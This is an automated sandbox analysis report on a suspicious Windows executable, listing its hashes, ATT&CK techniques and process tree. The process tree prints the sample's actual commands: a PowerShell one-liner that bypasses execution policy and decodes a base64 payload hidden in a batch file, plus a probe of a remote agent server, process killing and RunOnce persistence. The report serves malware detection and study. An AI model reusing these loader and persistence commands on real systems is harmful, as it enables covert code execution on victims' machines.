b98fcccd24e9a3360abc949171f5857b57d26db7ad1cb8644b74c087d5df02bb

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 03:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b98fcccd24e9a3360abc949171f5857b57d26db7ad1cb8644b74c087d5df02bb.exe
Size 326KB
Sample260819-ec4dcscg88
SHA256 b98fcccd24e9a3360abc949171f5857b57d26db7ad1cb8644b74c087d5df02bb
MD5 d7c3f941c83be0fa50c4bfad3c07c909
SHA1 7ea30d3e9d0ce02f6ea39d1dee08cb6324231f81
SHA512 0615ccfbf6414f4622ce722e5d78381e39772723c2b535b4bab407950db0fd1529c1cc092ac3ad820a22d8a7dacd42759d4f9c66af6bae2b52a60aee09419069
SSDEEP 6144:xLbh7tH2m24y/59YFalbJsCB8m8S/Nn66pk8ePjHL5f9:xLbJcfrYAlbNB984Nn66GFH
TLSH
T1EB64D2DD3858F9CED920C43174393ED927E4238FE86623CE6949B60696727A0D7CCA35
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	1216	powershell.exe
4	2704	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1020	powershell.exe
3196	powershell.exe
1216	powershell.exe
3480	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
3	1216	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
1436	pyinst_5742.exe
5056	pyinst_5742.exe
4504	python-3.12.8-amd64.exe
2200	python-3.12.8-amd64.exe
2736	python-3.12.8-amd64.exe

Loads dropped DLL 2 IoCs

pid	Process
5056	pyinst_5742.exe
2736	python-3.12.8-amd64.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\{a6d11f3a-01b2-4b93-b59d-45579247435b} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{a6d11f3a-01b2-4b93-b59d-45579247435b}\\python-3.12.8-amd64.exe\" /burn.runonce"	python-3.12.8-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\{a6d11f3a-01b2-4b93-b59d-45579247435b} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{a6d11f3a-01b2-4b93-b59d-45579247435b}\\python-3.12.8-amd64.exe\" /burn.runonce"	pyinst_5742.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
204	wscript.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e5bcb2c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5bcb2c.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 10 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2516	cmd.exe
408	cmd.exe
596	cmd.exe
1484	cmd.exe
5888	cmd.exe
4524	cmd.exe
5308	cmd.exe
1256	cmd.exe
6028	cmd.exe
712	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pyinst_5742.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pyinst_5742.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.8-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.8-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.8-amd64.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5836	PING.EXE
1260	PING.EXE
1212	PING.EXE

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
4596	taskkill.exe
5088	taskkill.exe

Modifies registry class 20 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.8150.0"	pyinst_5742.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.8 (64-bit)"	pyinst_5742.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	pyinst_5742.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\{737B4E77-280C-4036-B6A6-5B19BFCF07BD}\Version = "3.12.8150.0"	python-3.12.8-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12	pyinst_5742.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{a6d11f3a-01b2-4b93-b59d-45579247435b}	pyinst_5742.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\{737B4E77-280C-4036-B6A6-5B19BFCF07BD}	python-3.12.8-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12	python-3.12.8-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{a6d11f3a-01b2-4b93-b59d-45579247435b}"	python-3.12.8-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies	pyinst_5742.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{a6d11f3a-01b2-4b93-b59d-45579247435b}"	pyinst_5742.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\{737B4E77-280C-4036-B6A6-5B19BFCF07BD}\ = "{737B4E77-280C-4036-B6A6-5B19BFCF07BD}"	pyinst_5742.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\{737B4E77-280C-4036-B6A6-5B19BFCF07BD}\Version = "3.12.8150.0"	pyinst_5742.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\{737B4E77-280C-4036-B6A6-5B19BFCF07BD}\DisplayName = "Python 3.12.8 Core Interpreter (64-bit)"	pyinst_5742.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.8150.0"	python-3.12.8-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer	pyinst_5742.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\{737B4E77-280C-4036-B6A6-5B19BFCF07BD}	pyinst_5742.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.8 (64-bit)"	python-3.12.8-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\{737B4E77-280C-4036-B6A6-5B19BFCF07BD}\ = "{737B4E77-280C-4036-B6A6-5B19BFCF07BD}"	python-3.12.8-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Installer\Dependencies\{737B4E77-280C-4036-B6A6-5B19BFCF07BD}\DisplayName = "Python 3.12.8 Core Interpreter (64-bit)"	python-3.12.8-amd64.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
5836	PING.EXE
1260	PING.EXE
1212	PING.EXE

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
3468	WMIC.exe
3468	WMIC.exe
3468	WMIC.exe
3468	WMIC.exe
3268	WMIC.exe
3268	WMIC.exe
3268	WMIC.exe
3268	WMIC.exe
3196	powershell.exe
3196	powershell.exe
3480	powershell.exe
3480	powershell.exe
1020	powershell.exe
1020	powershell.exe
1216	powershell.exe
1216	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4596	taskkill.exe
Token: SeIncreaseQuotaPrivilege	3468	WMIC.exe
Token: SeSecurityPrivilege	3468	WMIC.exe
Token: SeTakeOwnershipPrivilege	3468	WMIC.exe
Token: SeLoadDriverPrivilege	3468	WMIC.exe
Token: SeSystemProfilePrivilege	3468	WMIC.exe
Token: SeSystemtimePrivilege	3468	WMIC.exe
Token: SeProfSingleProcessPrivilege	3468	WMIC.exe
Token: SeIncBasePriorityPrivilege	3468	WMIC.exe
Token: SeCreatePagefilePrivilege	3468	WMIC.exe
Token: SeBackupPrivilege	3468	WMIC.exe
Token: SeRestorePrivilege	3468	WMIC.exe
Token: SeShutdownPrivilege	3468	WMIC.exe
Token: SeDebugPrivilege	3468	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3468	WMIC.exe
Token: SeRemoteShutdownPrivilege	3468	WMIC.exe
Token: SeUndockPrivilege	3468	WMIC.exe
Token: SeManageVolumePrivilege	3468	WMIC.exe
Token: 33	3468	WMIC.exe
Token: 34	3468	WMIC.exe
Token: 35	3468	WMIC.exe
Token: 36	3468	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3468	WMIC.exe
Token: SeSecurityPrivilege	3468	WMIC.exe
Token: SeTakeOwnershipPrivilege	3468	WMIC.exe
Token: SeLoadDriverPrivilege	3468	WMIC.exe
Token: SeSystemProfilePrivilege	3468	WMIC.exe
Token: SeSystemtimePrivilege	3468	WMIC.exe
Token: SeProfSingleProcessPrivilege	3468	WMIC.exe
Token: SeIncBasePriorityPrivilege	3468	WMIC.exe
Token: SeCreatePagefilePrivilege	3468	WMIC.exe
Token: SeBackupPrivilege	3468	WMIC.exe
Token: SeRestorePrivilege	3468	WMIC.exe
Token: SeShutdownPrivilege	3468	WMIC.exe
Token: SeDebugPrivilege	3468	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3468	WMIC.exe
Token: SeRemoteShutdownPrivilege	3468	WMIC.exe
Token: SeUndockPrivilege	3468	WMIC.exe
Token: SeManageVolumePrivilege	3468	WMIC.exe
Token: 33	3468	WMIC.exe
Token: 34	3468	WMIC.exe
Token: 35	3468	WMIC.exe
Token: 36	3468	WMIC.exe
Token: SeDebugPrivilege	5088	taskkill.exe
Token: SeIncreaseQuotaPrivilege	3268	WMIC.exe
Token: SeSecurityPrivilege	3268	WMIC.exe
Token: SeTakeOwnershipPrivilege	3268	WMIC.exe
Token: SeLoadDriverPrivilege	3268	WMIC.exe
Token: SeSystemProfilePrivilege	3268	WMIC.exe
Token: SeSystemtimePrivilege	3268	WMIC.exe
Token: SeProfSingleProcessPrivilege	3268	WMIC.exe
Token: SeIncBasePriorityPrivilege	3268	WMIC.exe
Token: SeCreatePagefilePrivilege	3268	WMIC.exe
Token: SeBackupPrivilege	3268	WMIC.exe
Token: SeRestorePrivilege	3268	WMIC.exe
Token: SeShutdownPrivilege	3268	WMIC.exe
Token: SeDebugPrivilege	3268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3268	WMIC.exe
Token: SeRemoteShutdownPrivilege	3268	WMIC.exe
Token: SeUndockPrivilege	3268	WMIC.exe
Token: SeManageVolumePrivilege	3268	WMIC.exe
Token: 33	3268	WMIC.exe
Token: 34	3268	WMIC.exe
Token: 35	3268	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2704	msiexec.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 1480 wrote to memory of 6028	1480	b98fcccd24e9a3360abc949171f5857b57d26db7ad1cb8644b74c087d5df02bb.exe	90
PID 6028 wrote to memory of 4948	6028	cmd.exe	92
PID 6028 wrote to memory of 5328	6028	cmd.exe	93
PID 6028 wrote to memory of 3592	6028	cmd.exe	94
PID 6028 wrote to memory of 4596	6028	cmd.exe	95
PID 6028 wrote to memory of 408	6028	cmd.exe	97
PID 408 wrote to memory of 3468	408	cmd.exe	98
PID 408 wrote to memory of 4360	408	cmd.exe	99
PID 6028 wrote to memory of 5928	6028	cmd.exe	100
PID 6028 wrote to memory of 5836	6028	cmd.exe	101
PID 6028 wrote to memory of 204	6028	cmd.exe	102
PID 204 wrote to memory of 712	204	wscript.exe	103
PID 712 wrote to memory of 3440	712	cmd.exe	105
PID 712 wrote to memory of 4320	712	cmd.exe	106
PID 712 wrote to memory of 4832	712	cmd.exe	107
PID 712 wrote to memory of 5088	712	cmd.exe	108
PID 712 wrote to memory of 596	712	cmd.exe	109
PID 596 wrote to memory of 3268	596	cmd.exe	110
PID 596 wrote to memory of 2452	596	cmd.exe	111
PID 712 wrote to memory of 3384	712	cmd.exe	112
PID 712 wrote to memory of 1260	712	cmd.exe	113
PID 712 wrote to memory of 5736	712	cmd.exe	114
PID 5736 wrote to memory of 6048	5736	net.exe	115
PID 712 wrote to memory of 1212	712	cmd.exe	116
PID 712 wrote to memory of 3196	712	cmd.exe	117
PID 712 wrote to memory of 3480	712	cmd.exe	118
PID 712 wrote to memory of 1020	712	cmd.exe	119
PID 712 wrote to memory of 1484	712	cmd.exe	120
PID 1484 wrote to memory of 2508	1484	cmd.exe	121
PID 712 wrote to memory of 5888	712	cmd.exe	122
PID 5888 wrote to memory of 1160	5888	cmd.exe	123
PID 712 wrote to memory of 2516	712	cmd.exe	124
PID 2516 wrote to memory of 2228	2516	cmd.exe	125
PID 712 wrote to memory of 4524	712	cmd.exe	126
PID 4524 wrote to memory of 3176	4524	cmd.exe	127
PID 712 wrote to memory of 5308	712	cmd.exe	128
PID 5308 wrote to memory of 5076	5308	cmd.exe	129
PID 712 wrote to memory of 1256	712	cmd.exe	130
PID 712 wrote to memory of 1216	712	cmd.exe	131
PID 712 wrote to memory of 1436	712	cmd.exe	134
PID 1436 wrote to memory of 5056	1436	pyinst_5742.exe	135
PID 4504 wrote to memory of 2200	4504	python-3.12.8-amd64.exe	139
PID 2200 wrote to memory of 2736	2200	python-3.12.8-amd64.exe	140

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\b98fcccd24e9a3360abc949171f5857b57d26db7ad1cb8644b74c087d5df02bb.exe
"C:\Users\Admin\AppData\Local\Temp\b98fcccd24e9a3360abc949171f5857b57d26db7ad1cb8644b74c087d5df02bb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\tz_28bada63\install.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6028
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4948
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /f /tn "EndpointMonitorWatchdog"
    3⤵
    PID:5328
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /f /tn "EndpointMonitorAgent"
    3⤵
    PID:3592
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im winsvcmon.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic process where "name='pythonw.exe'" get processid,commandline /format:csv 2>nul | findstr /i "agent.py agent_wrapper.py"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:408
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where "name='pythonw.exe'" get processid,commandline /format:csv
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3468
  - - C:\Windows\system32\findstr.exe
      findstr /i "agent.py agent_wrapper.py"
      4⤵
      PID:4360
- - C:\Windows\system32\reg.exe
    reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "EndpointMonitor" /f
    3⤵
    PID:5928
- - C:\Windows\system32\PING.EXE
    ping -n 4 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5836
- - C:\Windows\system32\wscript.exe
    wscript //nologo "C:\Users\Admin\AppData\Local\Temp\~s_5616.vbs" "C:\Users\Admin\AppData\Local\Temp\tz_28bada63\install.bat"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tz_28bada63\install.bat" "
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:712
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3440
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "EndpointMonitorWatchdog"
        5⤵
        
        PID:4320
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "EndpointMonitorAgent"
        5⤵
        
        PID:4832
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im winsvcmon.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wmic process where "name='pythonw.exe'" get processid,commandline /format:csv 2>nul | findstr /i "agent.py agent_wrapper.py"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:596
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic process where "name='pythonw.exe'" get processid,commandline /format:csv
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3268
      - C:\Windows\system32\findstr.exe
        
        findstr /i "agent.py agent_wrapper.py"
        6⤵
        
        PID:2452
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "EndpointMonitor" /f
        5⤵
        
        PID:3384
    - - C:\Windows\system32\PING.EXE
        
        ping -n 4 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1260
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5736
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:6048
    - - C:\Windows\system32\PING.EXE
        
        ping -n 2 -w 2000 172.16.3.79
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1212
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "try{$r=Invoke-WebRequest -Uri 'http://172.16.3.79:5000/api/agents' -TimeoutSec 10 -UseBasicParsing -ErrorAction Stop; exit 0}catch{exit 1}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -NoProfile -Command "$BatchFile='C:\Users\Admin\AppData\Local\Temp\tz_28bada63\install.bat';$InstallDir='C:\Users\Admin\AppData\Roaming\EndpointMonitor';$InstallLog='C:\Users\Admin\AppData\Roaming\EndpointMonitor\install.log';$txt=Get-Content $BatchFile -Raw -Encoding UTF8;$s=$txt.LastIndexOf('REM PAYLOAD_START__');$e=$txt.LastIndexOf('REM PAYLOAD_END__');if($s -ge 0 -and $e -gt $s){$s+=20;$enc=$txt.Substring($s,$e-$s).Trim();Add-Type -AssemblyName System.Web;$dec=[System.Web.HttpUtility]::UrlDecode($enc);$json=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dec));$files=ConvertFrom-Json $json;foreach($p in $files.PSObject.Properties){$fp=Join-Path $InstallDir $p.Name;$d=Split-Path $fp -Parent;if(!(Test-Path $d)){[System.IO.Directory]::CreateDirectory($d)};$b=[System.Convert]::FromBase64String($p.Value);[System.IO.File]::WriteAllBytes($fp,$b)}}else{[System.IO.File]::AppendAllText($InstallLog,'PAYLOAD NOT FOUND');exit 1}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3480
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "Get-ChildItem 'C:\Users\Admin\AppData\Roaming\EndpointMonitor' -Recurse -File | Unblock-File"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1020
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c where pythonw.exe 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1484
      - C:\Windows\system32\where.exe
        
        where pythonw.exe
        6⤵
        
        PID:2508
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c where python.exe 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5888
      - C:\Windows\system32\where.exe
        
        where python.exe
        6⤵
        
        PID:1160
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Python\PythonCore" 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2516
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Python\PythonCore"
        6⤵
        
        PID:2228
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\WOW6432Node\Python\PythonCore" 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4524
      - C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\WOW6432Node\Python\PythonCore"
        6⤵
        
        PID:3176
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Python\PythonCore" 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5308
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Python\PythonCore"
        6⤵
        
        PID:5076
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c py -3 -c "import sys;print(sys.executable)" 2>nul
        5⤵
        Executes a command shell one-liner
        
        PID:1256
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "try { Invoke-WebRequest -Uri 'https://www.python.org/ftp/python/3.12.8/python-3.12.8-amd64.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\pyinst_5742.exe' -TimeoutSec 120 -UseBasicParsing } catch { exit 1 }"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Suspicious behavior: EnumeratesProcesses
        
        PID:1216
    - - C:\Users\Admin\AppData\Local\Temp\pyinst_5742.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pyinst_5742.exe" /quiet InstallAllUsers=0 DefaultUserLevelDir="C:\Users\Admin\AppData\Local\Programs\Python\Python312" PrependPath=0 AssociateFiles=0 CompileAll=0 Shortcuts=0 Include_launcher=0
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1436
      - C:\Windows\Temp\{8F0BE202-34C8-4681-86E4-AA0595832BCA}\.cr\pyinst_5742.exe
        
        "C:\Windows\Temp\{8F0BE202-34C8-4681-86E4-AA0595832BCA}\.cr\pyinst_5742.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\pyinst_5742.exe" -burn.filehandle.attached=760 -burn.filehandle.self=764 /quiet InstallAllUsers=0 DefaultUserLevelDir="C:\Users\Admin\AppData\Local\Programs\Python\Python312" PrependPath=0 AssociateFiles=0 CompileAll=0 Shortcuts=0 Include_launcher=0
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:5056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4412

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:2704

C:\Users\Admin\AppData\Local\Package Cache\{a6d11f3a-01b2-4b93-b59d-45579247435b}\python-3.12.8-amd64.exe
"C:\Users\Admin\AppData\Local\Package Cache\{a6d11f3a-01b2-4b93-b59d-45579247435b}\python-3.12.8-amd64.exe" /burn.runonce
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Users\Admin\AppData\Local\Package Cache\{a6d11f3a-01b2-4b93-b59d-45579247435b}\python-3.12.8-amd64.exe
  "C:\Users\Admin\AppData\Local\Package Cache\{a6d11f3a-01b2-4b93-b59d-45579247435b}\python-3.12.8-amd64.exe" /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.8 (64-bit)_20260819045058.log" InstallAllUsers=0 DefaultUserLevelDir=C:\Users\Admin\AppData\Local\Programs\Python\Python312 PrependPath=0 AssociateFiles=0 CompileAll=0 Shortcuts=0 Include_launcher=0
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Users\Admin\AppData\Local\Package Cache\{a6d11f3a-01b2-4b93-b59d-45579247435b}\python-3.12.8-amd64.exe
    "C:\Users\Admin\AppData\Local\Package Cache\{a6d11f3a-01b2-4b93-b59d-45579247435b}\python-3.12.8-amd64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Package Cache\{a6d11f3a-01b2-4b93-b59d-45579247435b}\python-3.12.8-amd64.exe" -burn.filehandle.attached=560 -burn.filehandle.self=580 /quiet /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Python 3.12.8 (64-bit)_20260819045058.log" InstallAllUsers=0 DefaultUserLevelDir=C:\Users\Admin\AppData\Local\Programs\Python\Python312 PrependPath=0 AssociateFiles=0 CompileAll=0 Shortcuts=0 Include_launcher=0
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

